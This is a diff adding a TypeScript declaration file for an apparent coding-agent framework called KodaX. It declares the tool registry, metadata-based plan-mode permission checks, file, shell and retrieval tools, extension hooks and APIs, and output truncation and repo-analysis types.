+interface RegisteredToolDefinition extends LocalToolDefinition {
+    registrationId: string;
+    requiredParams: string[];
+    source: ToolDefinitionSource;
+}
+interface ToolRegistrationOptions {
+    source?: ToolDefinitionSource;
+}
+type ToolRegistry = Map<string, RegisteredToolDefinition[]>;
+type KodaXRetrievalToolName = 'web_search' | 'web_fetch' | 'code_search' | 'semantic_lookup' | 'mcp_search' | 'mcp_describe' | 'mcp_call' | 'mcp_read_resource' | 'mcp_get_prompt';
+type KodaXRetrievalScope = 'workspace' | 'remote';
+type KodaXRetrievalTrust = 'workspace' | 'provider' | 'open-world';
+type KodaXRetrievalFreshness = 'fresh' | 'snapshot' | 'unknown';
+interface KodaXRetrievalArtifact {
+    kind: 'url' | 'path' | 'symbol' | 'module' | 'process' | 'provider';
+    label: string;
+    value: string;
+}
+interface KodaXRetrievalItem {
+    title: string;
+    locator?: string;
+    snippet?: string;
+    score?: number;
+    metadata?: Record<string, unknown>;
+}
+interface KodaXRetrievalResult {
+    tool: KodaXRetrievalToolName;
+    query?: string;
+    scope: KodaXRetrievalScope;
+    trust: KodaXRetrievalTrust;
+    freshness: KodaXRetrievalFreshness;
+    provider?: string;
+    summary: string;
+    content?: string;
+    items: KodaXRetrievalItem[];
+    artifacts?: KodaXRetrievalArtifact[];
+    metadata?: Record<string, unknown>;
+}
+
+declare const KODAX_TOOLS: KodaXToolDefinition[];
+declare function registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
+declare function getTool(name: string): ToolHandler | undefined;
+declare function getToolDefinition(name: string): KodaXToolDefinition | undefined;
+declare function getRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
+declare function getToolRegistrations(name: string): RegisteredToolDefinition[];
+declare function getBuiltinToolDefinition(name: string): KodaXToolDefinition | undefined;
+declare function getBuiltinRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
+declare function createBuiltinToolDefinition(name: string): LocalToolDefinition | undefined;
+declare function listBuiltinToolDefinitions(): RegisteredToolDefinition[];
+/**
+ * v0.7.42 — snapshot of every currently-active tool registration.
+ *
+ * Returns the most-recent registration for each tool name (mirroring
+ * {@link getRegisteredToolDefinition}'s single-name semantics across the
+ * full registry). Use this to drive metadata-based filters such as:
+ *
+ *   - SDK embedder permission brokers building a blocklist by side-effect class:
+ *     `getAllRegisteredTools().filter(t => t.sideEffect !== 'readonly')`
+ *   - UI that displays available tools grouped by category.
+ *   - Plan-mode gates that compute their own blocklist from metadata
+ *     instead of hardcoded `Set<string>` of names.
+ *
+ * The returned array is a fresh copy per call (safe to mutate without
+ * affecting the registry). Order is registration order (sorted by name
+ * within each registration to keep the snapshot deterministic).
+ */
+declare function getAllRegisteredTools(): RegisteredToolDefinition[];
+/**
+ * v0.7.42 — plan-mode permit check driven by tool metadata.
+ *
+ *   - `sideEffect === 'readonly'` ⇒ permitted (unless explicitly
+ *     `planModeAllowed: false`).
+ *   - `planModeAllowed: true` ⇒ permitted (overrides non-readonly).
+ *   - any other sideEffect ⇒ blocked.
+ *
+ * Returns `false` for unknown tool names (fail-closed). Use this in
+ * preference to hardcoded `Set<string>` of tool names — adding a new
+ * `'mutates-fs'` builtin will flow through automatically.
+ */
+declare function isToolPlanModeAllowed(name: string): boolean;
+/**
+ * v0.7.42 — does this tool mutate the filesystem?
+ *
+ * Wraps `sideEffect === 'mutates-fs'`. Used by the REPL permission
+ * pipeline's gitRoot guard and Space's permission broker. Replaces the
+ * previous practice of hardcoding `Set(["write", "edit"])`-style lookups
+ * scattered across 5+ callsites.
+ */
+declare function isToolFileMutation(name: string): boolean;
+/**
+ * v0.7.42 — does this tool mutate anything (FS, shell, network, state)?
+ *
+ * True for every `sideEffect` except `'readonly'`. Fail-closed (unknown
+ * names return `true` — assumed mutating until proven otherwise).
+ */
+declare function isToolMutation(name: string): boolean;
+declare function getRequiredToolParams(name: string): string[];
+declare function listTools(): string[];
+declare function listToolDefinitions(): KodaXToolDefinition[];
+declare function executeTool(name: string, input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolRead(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string | readonly KodaXToolResultContentItem[]>;
+
+declare function toolWrite(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+type EditToolErrorCode = 'EDIT_NOT_FOUND' | 'EDIT_AMBIGUOUS' | 'EDIT_TOO_LARGE';
+interface EditRecoveryDiagnostic {
+    code: EditToolErrorCode;
+    filePath: string;
+    candidates: Array<{
+        startLine: number;
+        endLine: number;
+        preview: string;
+        excerpt: string;
+    }>;
+}
+declare function toolEdit(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+declare function parseEditToolError(result: string): EditToolErrorCode | undefined;
+declare function inspectEditFailure(pathValue: string, oldString: string, ctx: KodaXToolExecutionContext, windowLines: number): Promise<EditRecoveryDiagnostic>;
+
+declare function toolInsertAfterAnchor(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolBash(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+/**
+ * KodaX Glob Tool
+ *
+ * 文件搜索工具
+ */
+
+declare function toolGlob(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolGrep(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+/**
+ * KodaX Undo Tool
+ *
+ * 撤销工具 - 恢复最后一次文件修改
+ */
+
+declare function toolUndo(_input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+/**
+ * KodaX AskUserQuestion Tool
+ *
+ * 交互式提问工具 - 允许 LLM 在需要时主动向用户提问
+ * Supports: single-select, multi-select, free-text input, and multi-question modes.
+ */
+
+/**
+ * Ask user a question with multiple interaction modes.
+ *
+ * This tool requires context.askUser (select) or context.askUserInput (input)
+ * callback to be provided by the REPL layer.
+ */
+declare function toolAskUserQuestion(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolRepoOverview(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolChangedScope(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolChangedDiff(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolModuleContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolSymbolContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolProcessContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolImpactEstimate(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolWebSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolWebFetch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolCodeSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare function toolSemanticLookup(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
+
+interface ExecOptions {
+    /** Extra environment variables to inject (merged with safe base env). */
+    readonly env?: Readonly<Record<string, string>>;
+    /** Working directory. Defaults to process.cwd(). */
+    readonly cwd?: string;
+    /** Timeout in milliseconds. Defaults to 30000. */
+    readonly timeout?: number;
+    /** Shell to use. Defaults to 'bash' on Unix, 'powershell' on Windows. */
+    readonly shell?: 'bash' | 'powershell';
+}
+interface ExecResult {
+    readonly exitCode: number;
+    readonly stdout: string;
+    readonly stderr: string;
+}
+/**
+ * Run a shell command with a sandboxed environment.
+ *
+ * SECURITY: Only a whitelist of safe environment variables is passed to the
+ * subprocess. API keys and tokens from the parent environment are NOT inherited.
+ */
+declare function exec(command: string, options?: ExecOptions): Promise<ExecResult>;
+interface WebhookOptions {
+    /** HTTP method. Defaults to 'POST'. */
+    readonly method?: 'POST' | 'PUT';
+    /** Extra HTTP headers. */
+    readonly headers?: Readonly<Record<string, string>>;
+    /** Timeout in milliseconds. Defaults to 10000. */
+    readonly timeout?: number;
+}
+interface WebhookResult {
+    readonly ok: boolean;
+    readonly status: number;
+    readonly body?: string;
+}
+/**
+ * Send an HTTP webhook with timeout support.
+ * Returns a result object instead of throwing on errors.
+ */
+declare function webhook(url: string, payload: unknown, options?: WebhookOptions): Promise<WebhookResult>;
+
+interface ModelProviderRegistration {
+    name: string;
+    factory: () => KodaXBaseProvider;
+}
+interface ExtensionCommandDefinition {
+    name: string;
+    aliases?: string[];
+    description: string;
+    usage?: string;
+    metadata?: Record<string, unknown>;
+    handler: (args: string[], context: ExtensionCommandContext) => Promise<ExtensionCommandResult | void> | ExtensionCommandResult | void;
+}
+interface ExtensionModelSelection {
+    provider?: string;
+    model?: string;
+}
+interface ExtensionLogger {
+    debug: (...args: unknown[]) => void;
+    info: (...args: unknown[]) => void;
+    warn: (...args: unknown[]) => void;
+    error: (...args: unknown[]) => void;
+}
+interface ExtensionFileContributionSource {
+    kind: 'extension';
+    id: string;
+    label: string;
+    path: string;
+}
+interface RuntimeContributionSource {
+    kind: 'runtime';
+    id: string;
+    label: string;
+    path?: string;
+}
+type ExtensionContributionSource = ExtensionFileContributionSource | RuntimeContributionSource;
+type ExtensionLoadSource = 'api' | 'cli' | 'config';
+interface LoadedExtensionDiagnostic {
+    path: string;
+    label: string;
+    loadSource: ExtensionLoadSource;
+    sessionStateKeys?: string[];
+    sessionRecordCounts?: Record<string, number>;
+}
+interface RegisteredCapabilityProviderDiagnostic {
+    id: string;
+    kinds: CapabilityKind[];
+    source: ExtensionContributionSource;
+    metadata?: Record<string, unknown>;
+}
+interface RegisteredCommandDiagnostic {
+    name: string;
+    aliases?: string[];
+    description: string;
+    usage?: string;
+    metadata?: Record<string, unknown>;
+    source: ExtensionContributionSource;
+}
+interface RegisteredToolDiagnostic {
+    name: string;
+    description: string;
+    requiredParams: string[];
+    source: RegisteredToolDefinition['source'];
+    shadowedSources: RegisteredToolDefinition['source'][];
+}
+interface RegisteredHookDiagnostic {
+    hook: keyof ExtensionHookMap;
+    order: number;
+    source: ExtensionContributionSource;
+}
+type ExtensionFailureStage = 'load' | 'reload' | 'event' | 'hook' | 'persistence';
+interface ExtensionFailureDiagnostic {
+    stage: ExtensionFailureStage;
+    target: string;
+    message: string;
+    occurredAt: string;
+    source: ExtensionContributionSource;
+}
+interface ExtensionRuntimeDiagnostics {
+    loadedExtensions: LoadedExtensionDiagnostic[];
+    capabilityProviders: RegisteredCapabilityProviderDiagnostic[];
+    commands: RegisteredCommandDiagnostic[];
+    tools: RegisteredToolDiagnostic[];
+    hooks: RegisteredHookDiagnostic[];
+    failures: ExtensionFailureDiagnostic[];
+    defaults: {
+        activeTools?: string[];
+        modelSelection: ExtensionModelSelection;
+        thinkingLevel?: KodaXReasoningMode;
+    };
+}
+interface ExtensionCommandInvocation {
+    prompt: string;
+    displayName?: string;
+    disableModelInvocation?: boolean;
+    allowedTools?: string;
+    context?: 'fork';
+    model?: string;
+}
+interface ExtensionCommandResult {
+    success?: boolean;
+    message?: string;
+    data?: unknown;
+    invocation?: ExtensionCommandInvocation;
+}
+interface ExtensionCommandContext {
+    sessionId?: string;
+    gitRoot?: string;
+    workingDirectory: string;
+    reloadExtensions: () => Promise<void>;
+    getDiagnostics: () => ExtensionRuntimeDiagnostics;
+    logger: ExtensionLogger;
+}
+interface ExtensionToolBeforeHookContext {
+    name: string;
+    input: Record<string, unknown>;
+    toolId?: string;
+    executionCwd?: string;
+    gitRoot?: string;
+}
+interface ExtensionProviderBeforeHookContext {
+    provider: string;
+    model?: string;
+    reasoningMode?: KodaXReasoningMode;
+    systemPrompt: string;
+    block: (reason: string) => void;
+    replaceProvider: (provider: string) => void;
+    replaceModel: (model?: string) => void;
+    replaceSystemPrompt: (systemPrompt: string) => void;
+    setThinkingLevel: (level: KodaXReasoningMode) => void;
+}
+interface ExtensionTurnSettleHookContext {
+    sessionId: string;
+    lastText: string;
+    hadToolCalls: boolean;
+    success: boolean;
+    signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
+    queueUserMessage: (message: string | KodaXMessage) => void;
+    setModelSelection: (next: ExtensionModelSelection) => void;
+    setThinkingLevel: (level: KodaXReasoningMode) => void;
+}
+/**
+ * FEATURE_184 (v0.7.45) — Stop Hook bridge context for extensions.
+ *
+ * Fires ONLY when the model terminates a turn text-only (no tool_use)
+ * — a strict subset of `turn:settle`, which fires on every turn end
+ * including mid-task tool turns. Use this hook for verification or
+ * "is the task actually done?" checks. The three-state return surface
+ * mirrors `RunOptions.stopHook` at the agent layer; the bridge passes
+ * the extension's return through unchanged.
+ *
+ * Coding-layer first-party consumers (Sidecar Verifier, FEATURE_184
+ * Phase D) wire directly to the agent `stopHook`. Third-party
+ * extensions write `api.hook('turn:complete', handler)` and the bridge
+ * dispatches to them inside the agent's `stopHook` callback. Handlers
+ * fire in registration order, first non-`void` return short-circuits
+ * the chain (matches `tool:before` semantics).
+ *
+ * Scope note: this hook fires on the AMA `runner-driven` path only
+ * (main loop, B1 retry, V2 worker). SA-path child agents dispatched
+ * via `dispatch_child_task` go through `runKodaX` and do NOT trigger
+ * this hook — observe their lifecycle via `turn:settle` on the SA
+ * path. Extensions wanting "every agent termination" semantics must
+ * register both hooks.
+ */
+interface ExtensionTurnCompleteHookContext {
+    sessionId: string;
+    lastAssistantText: string;
+    signal: 'natural-end';
+    reanimateCount: number;
+    reanimateBudget: number;
+}
+/**
+ * FEATURE_184 (v0.7.45) — Extension `turn:complete` return surface.
+ *
+ *   - `void` / `undefined` → accept the termination, defer to next
+ *     handler (or fall through to agent terminal path if none).
+ *   - `string` → reanimate: synthesize a user message, run another
+ *     turn. Bounded by Runner's `stopHookReanimateBudget`.
+ *   - `{ abort: true, reason }` → halt the run, surface reason to
+ *     caller via `RunResult.output` + `stoppedByHook = true`.
+ */
+type ExtensionTurnCompleteHookResult = void | string | {
+    readonly abort: true;
+    readonly reason: string;
+};
+interface ExtensionSessionHydrateHookContext {
+    sessionId: string;
+    getState: <T = KodaXJsonValue>(key: string) => T | undefined;
+    setState: (key: string, value: KodaXJsonValue | undefined) => void;
+    listRecords: (type?: string) => KodaXExtensionSessionRecord[];
+    appendRecord: (type: string, data?: KodaXJsonValue, options?: {
+        dedupeKey?: string;
+    }) => KodaXExtensionSessionRecord | undefined;
+    clearRecords: (type?: string) => number;
+}
+interface ExtensionEventMap {
+    'session:start': {
+        provider: string;
+        sessionId: string;
+    };
+    'turn:start': {
+        sessionId: string;
+        iteration: number;
+        maxIter: number;
+    };
+    'text:delta': {
+        text: string;
+    };
+    'thinking:delta': {
+        text: string;
+    };
+    'thinking:end': {
+        thinking: string;
+    };
+    'tool:start': {
+        name: string;
+        id: string;
+        input?: Record<string, unknown>;
+    };
+    'tool:result': {
+        id: string;
+        name: string;
+        content: string;
+    };
+    'provider:selected': {
+        provider: string;
+        model?: string;
+    };
+    'provider:rate-limit': {
+        provider: string;
+        attempt: number;
+        maxRetries: number;
+        delayMs: number;
+    };
+    'capability:search': {
+        providerId: string;
+        query: string;
+        kind?: CapabilityKind;
+        limit?: number;
+    };
+    'capability:describe': {
+        providerId: string;
+        capabilityId: string;
+    };
+    'capability:invoke': {
+        providerId: string;
+        capabilityId: string;
+        kind: CapabilityKind;
+    };
+    'capability:refresh': {
+        providerId: string;
+    };
+    'stream:end': undefined;
+    'turn:end': {
+        sessionId: string;
+        iteration: number;
+        lastText: string;
+        hadToolCalls: boolean;
+        signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
+    };
+    'complete': {
+        success: boolean;
+        signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
+    };
+    'error': {
+        error: Error;
+    };
+    'todo:created': {
+        id: string;
+        item: KodaXTodoItem;
+        source: TodoMutationSource;
+    };
+    'todo:updated': {
+        id: string;
+        before: KodaXTodoItem;
+        after: KodaXTodoItem;
+        changedFields: readonly (keyof KodaXTodoItem)[];
+        source: TodoMutationSource;
+    };
+    'todo:deleted': {
+        id: string;
+        item: KodaXTodoItem;
+        source: TodoMutationSource;
+    };
+}
+/**
+ * FEATURE_170 v0.7.41 — provenance tag for todo:* events / hooks. Lets
+ * extension authors distinguish LLM-driven mutations (`tool`) from
+ * runner-side automation (`internal`) — e.g. an extension that audits
+ * todo churn should ignore `internal` flips to avoid false positives.
+ */
+type TodoMutationSource = 'tool' | 'internal';
+/**
+ * FEATURE_170 v0.7.41 — seed shape passed to `'todo:before-create'`.
+ * Mirrors `TodoAddSeed` from todo-store.ts (kept structurally compatible
+ * to avoid coupling extension authors to the internal task-engine type).
+ *
+ * v0.7.42 — `content` renamed to `subject` + optional `description` to
+ * match claudecode V2 `TaskCreateTool` schema. See `TodoItem` JSDoc in
+ * packages/coding/src/types.ts.
+ */
+interface ExtensionTodoCreateSeed {
+    readonly subject: string;
+    readonly description?: string;
+    readonly activeForm?: string;
+    readonly evaluator?: 'build' | 'test' | 'lint';
+    readonly owner?: string;
+    readonly sourceObligationIndex?: number;
+    readonly metadata?: Record<string, unknown>;
+}
+/**
+ * FEATURE_170 v0.7.41 — minimal todo item shape exposed to extensions
+ * via the todo:* events. Kept structurally identical to the engine's
+ * `TodoItem` so the runtime can pass values straight through without
+ * conversion, but redeclared here so extension consumers don't import
+ * from `packages/coding/src/types.ts` (which is task-engine internal).
+ *
+ * Drift guard: a compile-time assignability assertion at the bottom of
+ * this file fires if `TodoItem` (engine) gains a field that this
+ * extension-facing shape does NOT mirror — see `__todoItemParity` below.
+ */
+interface KodaXTodoItem {
+    readonly id: string;
+    /** v0.7.42 — see TodoItem.subject JSDoc in packages/coding/src/types.ts. */
+    readonly subject: string;
+    readonly description?: string;
+    readonly status: 'pending' | 'in_progress' | 'completed' | 'failed' | 'skipped' | 'cancelled';
+    readonly owner?: string;
+    readonly sourceObligationIndex?: number;
+    readonly note?: string;
+    readonly evaluator?: 'build' | 'test' | 'lint';
+    readonly activeForm?: string;
+    readonly metadata?: Record<string, unknown>;
+}
+interface ExtensionHookMap {
+    'tool:before': (context: ExtensionToolBeforeHookContext) => Promise<void | string | false> | void | string | false;
+    'provider:before': (context: ExtensionProviderBeforeHookContext) => Promise<void> | void;
+    'turn:settle': (context: ExtensionTurnSettleHookContext) => Promise<void> | void;
+    'turn:complete': (context: ExtensionTurnCompleteHookContext) => Promise<ExtensionTurnCompleteHookResult> | ExtensionTurnCompleteHookResult;
+    'session:hydrate': (context: ExtensionSessionHydrateHookContext) => Promise<void> | void;
+    'todo:before-create': (context: {
+        seed: ExtensionTodoCreateSeed;
+    }) => Promise<void | string | false> | void | string | false;
+    'todo:before-complete': (context: {
+        id: string;
+        item: KodaXTodoItem;
+    }) => Promise<void | string | false> | void | string | false;
+}
+interface ExtensionRuntimeController {
+    queueUserMessage(message: string | KodaXMessage): void;
+    getSessionState<T = KodaXJsonValue>(key: string): T | undefined;
+    setSessionState(key: string, value: KodaXJsonValue | undefined): void;
+    appendSessionRecord(type: string, data?: KodaXJsonValue, options?: {
+        dedupeKey?: string;
+    }): KodaXExtensionSessionRecord | undefined;
+    listSessionRecords(type?: string): KodaXExtensionSessionRecord[];
+    clearSessionRecords(type?: string): number;
+    getActiveTools(): string[];
+    setActiveTools(toolNames: string[]): void;
+    getModelSelection(): ExtensionModelSelection;
+    setModelSelection(next: ExtensionModelSelection): void;
+    getThinkingLevel(): KodaXReasoningMode | undefined;
+    setThinkingLevel(level: KodaXReasoningMode): void;
+}
+interface KodaXExtensionAPI {
+    registerTool: (definition: LocalToolDefinition) => () => void;
+    getTool: (name: string) => RegisteredToolDefinition | undefined;
+    getBuiltinTool: (name: string) => RegisteredToolDefinition | undefined;
+    registerModelProvider: (registration: ModelProviderRegistration) => () => void;
+    registerCapabilityProvider: (provider: CapabilityProvider) => () => void;
+    registerCommand: (command: ExtensionCommandDefinition) => () => void;
+    registerSkillPath: (skillPath: string) => () => void;
+    on: <TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void) => () => void;
+    hook: <THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook]) => () => void;
+    logger: ExtensionLogger;
+    config: Readonly<Record<string, unknown>>;
+    runtime: ExtensionRuntimeController;
+    /** Extension-scoped key-value store that persists across sessions. */
+    persistence: KodaXExtensionStore;
+    /** Run a shell command with sandboxed environment (no API key leakage). */
+    exec: (command: string, options?: ExecOptions) => Promise<ExecResult>;
+    /** Send an HTTP webhook with timeout support. */
+    webhook: (url: string, payload: unknown, options?: WebhookOptions) => Promise<WebhookResult>;
+}
+type KodaXExtensionActivationResult = void | (() => void | Promise<void>) | Promise<void | (() => void | Promise<void>)>;
+interface KodaXExtensionModule {
+    default?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
+    activate?: (api: KodaXExtensionAPI) => KodaXExtensionActivationResult;
+}
+
+declare function stripHtmlToText(html: string): string;
+declare function extractHtmlTitle(html: string): string | undefined;
+declare function convertProviderSearchResults(results: unknown[], limit: number): KodaXRetrievalItem[];
+declare function convertCapabilityReadResult(tool: KodaXRetrievalToolName, providerId: string, capabilityId: string, result: CapabilityResult, summary: string): KodaXRetrievalResult;
+declare function renderRetrievalResult(result: KodaXRetrievalResult): string;
+declare function finalizeRetrievalResult(result: KodaXRetrievalResult, ctx: KodaXToolExecutionContext): Promise<string>;
+
+declare const DEFAULT_TOOL_OUTPUT_MAX_LINES = 2000;
+declare const DEFAULT_TOOL_OUTPUT_MAX_BYTES: number;
+declare const READ_DEFAULT_LIMIT = 2000;
+declare const READ_PREFLIGHT_SIZE_BYTES: number;
+declare const READ_MAX_LINE_CHARS = 2000;
+interface TruncationOptions {
+    maxLines?: number;
+    maxBytes?: number;
+}
+interface TruncationResult {
+    content: string;
+    truncated: boolean;
+    truncatedBy: 'lines' | 'bytes' | null;
+    totalLines: number;
+    totalBytes: number;
+    outputLines: number;
+    outputBytes: number;
+    lastLinePartial: boolean;
+    firstLineExceedsLimit: boolean;
+    maxLines: number;
+    maxBytes: number;
+}
+declare function formatSize(bytes: number): string;
+declare function truncateHead(content: string, options?: TruncationOptions): TruncationResult;
+declare function truncateTail(content: string, options?: TruncationOptions): TruncationResult;
+declare function truncateLine(line: string, maxChars?: number): {
+    text: string;
+    wasTruncated: boolean;
+};
+declare function persistToolOutput(toolName: string, content: string, ctx?: Pick<KodaXToolExecutionContext, 'gitRoot' | 'executionCwd'>): Promise<string>;
+
+interface ToolResultPolicy {
+    maxLines: number;
+    maxBytes: number;
+    direction: 'head' | 'tail';
+    spillToFile: boolean;
+}
+interface GuardedToolResult {
+    content: string;
+    truncated: boolean;
+    outputPath?: string;
+    policy: ToolResultPolicy;
+    /**
+     * FEATURE_121 v0.7.40 — set when `persistToolOutput` threw and
+     * `content` was returned inline as the data-loss-guard fallback.
+     * Callers that need an LLM-summary follow-up (`dispatch-child-tasks`
+     * for `child_task_summary`) branch on this flag. Undefined/false
+     * means the normal success path ran.
+     */
+    spillFailed?: boolean;
+}
+declare function getToolResultPolicy(toolName: string): ToolResultPolicy;
+interface ApplyToolResultGuardrailOptions {
+    /**
+     * FEATURE_121 (v0.7.40): force the guardrail down the spill+preview path
+     * regardless of `policy.maxBytes`. Used by envelope aggregate budget
+     * enforcement to reclaim space when N child summaries individually fit
+     * but together exceed the envelope cap.
+     */
+    forceSpill?: boolean;
+}
+declare function applyToolResultGuardrail(toolName: string, content: string, ctx: KodaXToolExecutionContext, options?: ApplyToolResultGuardrailOptions): Promise<GuardedToolResult>;
+
+type RepoAreaKind = 'package' | 'directory' | 'docs' | 'tests' | 'scripts' | 'root';
+type ChangedFileStatus = 'modified' | 'added' | 'deleted' | 'renamed' | 'untracked';
+interface RepoAreaOverview {
+    id: string;
+    label: string;
+    kind: RepoAreaKind;
+    root: string;
+    fileCount: number;
+    manifests: string[];
+    sampleFiles: string[];
+}
+interface RepoOverview {
+    schemaVersion: number;
+    workspaceRoot: string;
+    source: 'git' | 'filesystem';
+    generatedAt: string;
+    truncated: boolean;
+    git?: {
+        branch?: string;
+        head?: string;
+        hasUncommittedChanges?: boolean;
+    };
+    fileStats: {
+        totalFiles: number;
+        sourceFiles: number;
+        docFiles: number;
+        testFiles: number;
+        configFiles: number;
+    };
+    manifests: string[];
+    keyDocs: string[];
+    entryHints: string[];
+    areas: RepoAreaOverview[];
+}
+interface ChangedScopeAreaSummary {
+    areaId: string;
+    label: string;
+    root: string;
+    kind: RepoAreaKind;
+    fileCount: number;
+    files: string[];
+}
+interface ChangedFileEntry {
+    path: string;
+    status: ChangedFileStatus;
+    category: 'source' | 'docs' | 'tests' | 'config' | 'other';
+    areaId: string;
+}
+interface ChangedScopeReport {
+    schemaVersion: number;
+    workspaceRoot: string;
+    analyzedAt: string;
+    scope: 'unstaged' | 'staged' | 'all' | 'compare';
+    baseRef?: string;
+    overviewGeneratedAt?: string;
+    totalChangedFiles: number;
+    changedLineCount: number;
+    addedLineCount: number;
+    deletedLineCount: number;
+    categories: Record<'source' | 'docs' | 'tests' | 'config' | 'other', number>;
+    areasTouched: ChangedScopeAreaSummary[];
+    files: ChangedFileEntry[];
+    riskHints: string[];
+}
+declare function buildRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, targetPath?: string): Promise<RepoOverview>;
+declare function getRepoOverview(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
+    targetPath?: string;
+    refresh?: boolean;
+}): Promise<RepoOverview>;
+declare function renderRepoOverview(overview: RepoOverview): string;
+declare function buildRepoIntelligenceContext(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
+    targetPath?: string;
+    includeRepoOverview?: boolean;
+    includeChangedScope?: boolean;
+    refreshOverview?: boolean;
+    changedScope?: 'unstaged' | 'staged' | 'all' | 'compare';
+    baseRef?: string;
+}): Promise<string>;
+declare function analyzeChangedScope(context: Pick<KodaXToolExecutionContext, 'executionCwd' | 'gitRoot'>, options?: {
+    targetPath?: string;
+    scope?: 'unstaged' | 'staged' | 'all' | 'compare';
+    baseRef?: string;
+    refreshOverview?: boolean;
+}): Promise<ChangedScopeReport>;
+declare function renderChangedScope(report: ChangedScopeReport): string;
+
+type RepoLanguageId = 'typescript' | 'javascript' | 'python' | 'java' | 'go' | 'rust' | 'cpp' | 'unknown';
+type LanguageCapabilityTier = 'high' | 'medium' | 'low';
+type RepoSymbolKind = 'function' | 'class' | 'interface' | 'type' | 'enum' | 'struct' | 'trait' | 'method' | 'constant';
+interface RepoLanguageSupport {
+    language: RepoLanguageId;
+    capabilityTier: LanguageCapabilityTier;
+    fileCount: number;
+}
+interface RepoSymbolReference {
+    symbolId: string;
+    name: string;
+    filePath: string;
+    moduleId: string;
+    reason: 'same-module' | 'imported-module' | 'name-match';
+}
+interface RepoSymbolRecord {
+    id: string;
+    name: string;
+    qualifiedName: string;
+    kind: RepoSymbolKind;
+    filePath: string;
+    moduleId: string;
+    language: RepoLanguageId;
+    capabilityTier: LanguageCapabilityTier;
+    line: number;
+    signature: string;
+    exported: boolean;
+    calls: string[];
+    callTargets: RepoSymbolReference[];
+    importPaths: string[];
+    confidence: number;
+}
+interface ModuleCapsule {
+    moduleId: string;
+    label: string;
+    kind: RepoAreaKind;
+    root: string;
+    fileCount: number;
+    sourceFileCount: number;
+    symbolCount: number;
+    languages: RepoLanguageSupport[];
+    topSymbols: string[];
+    dependencies: string[];
+    dependents: string[];
+    entryFiles: string[];
+    keyTests: string[];
+    keyDocs: string[];
+    sampleFiles: string[];
+    processIds: string[];
+    confidence: number;
+}
+interface ProcessStep {
+    kind: 'entry' | 'imports' | 'calls';
+    symbolName: string;
+    symbolId?: string;
+    filePath: string;
+    note: string;
+    line?: number;
+}
+interface ProcessCapsule {
+    id: string;
+    label: string;
+    moduleId: string;
+    entryFile: string;
+    entrySymbol?: string;
+    summary: string;
+    steps: ProcessStep[];
+    confidence: number;
+}
+interface RepoIntelligenceIndex {
+    schemaVersion: number;
+    workspaceRoot: string;
+    generatedAt: string;
+    overviewGeneratedAt: string;
+    sourceFileCount: number;
+    sourceFingerprint: string;
+    languages: RepoLanguageSupport[];
+    modules: ModuleCapsule[];
+    symbols: RepoSymbolRecord[];
+    processes: ProcessCapsule[];
+    capability?: KodaXRepoIntelligenceCapability;
+    trace?: KodaXRepoIntelligenceTrace;
+}
+interface ModuleContextResult {
+    module: ModuleCapsule;
+    freshness: string;
+    confidence: number;
+    evidence: string[];
+    capability?: KodaXRepoIntelligenceCapability;
+    trace?: KodaXRepoIntelligenceTrace;
+}
+interface SymbolContextResult {
+    symbol: RepoSymbolRecord;
+    alternatives: RepoSymbolRecord[];
+    callers: RepoSymbolRecord[];
+    freshness: string;
+    confidence: number;
+    capability?: KodaXRepoIntelligenceCapability;
+    trace?: KodaXRepoIntelligenceTrace;
+}
+interface ProcessContextResult {
+    process: ProcessCapsule;
+    alternatives: ProcessCapsule[];
+    freshness: string;
+    confidence: number;
+    capability?: KodaXRepoIntelligenceCapability;
+    trace?: KodaXRepoIntelligenceTrace;
+}
+interface ImpactEstimateResult {
+    target: {
+        kind: 'symbol' | 'module' | 'path';
+        label: string;
+        moduleId?: string;
+        filePath?: string;
+    };
+    summary: string;
+    impactedModules: ModuleCapsule[];
+    impactedSymbols: RepoSymbolRecord[];
+    callers: RepoSymbolRecord[];
+    changedScope?: ChangedScopeReport;
+    freshness: string;
+    confidence: number;
+    capability?: KodaXRepoIntelligenceCapability;
+    trace?: KodaXRepoIntelligenceTrace;
+}
+declare function renderModuleContext(result: ModuleContextResult): string;
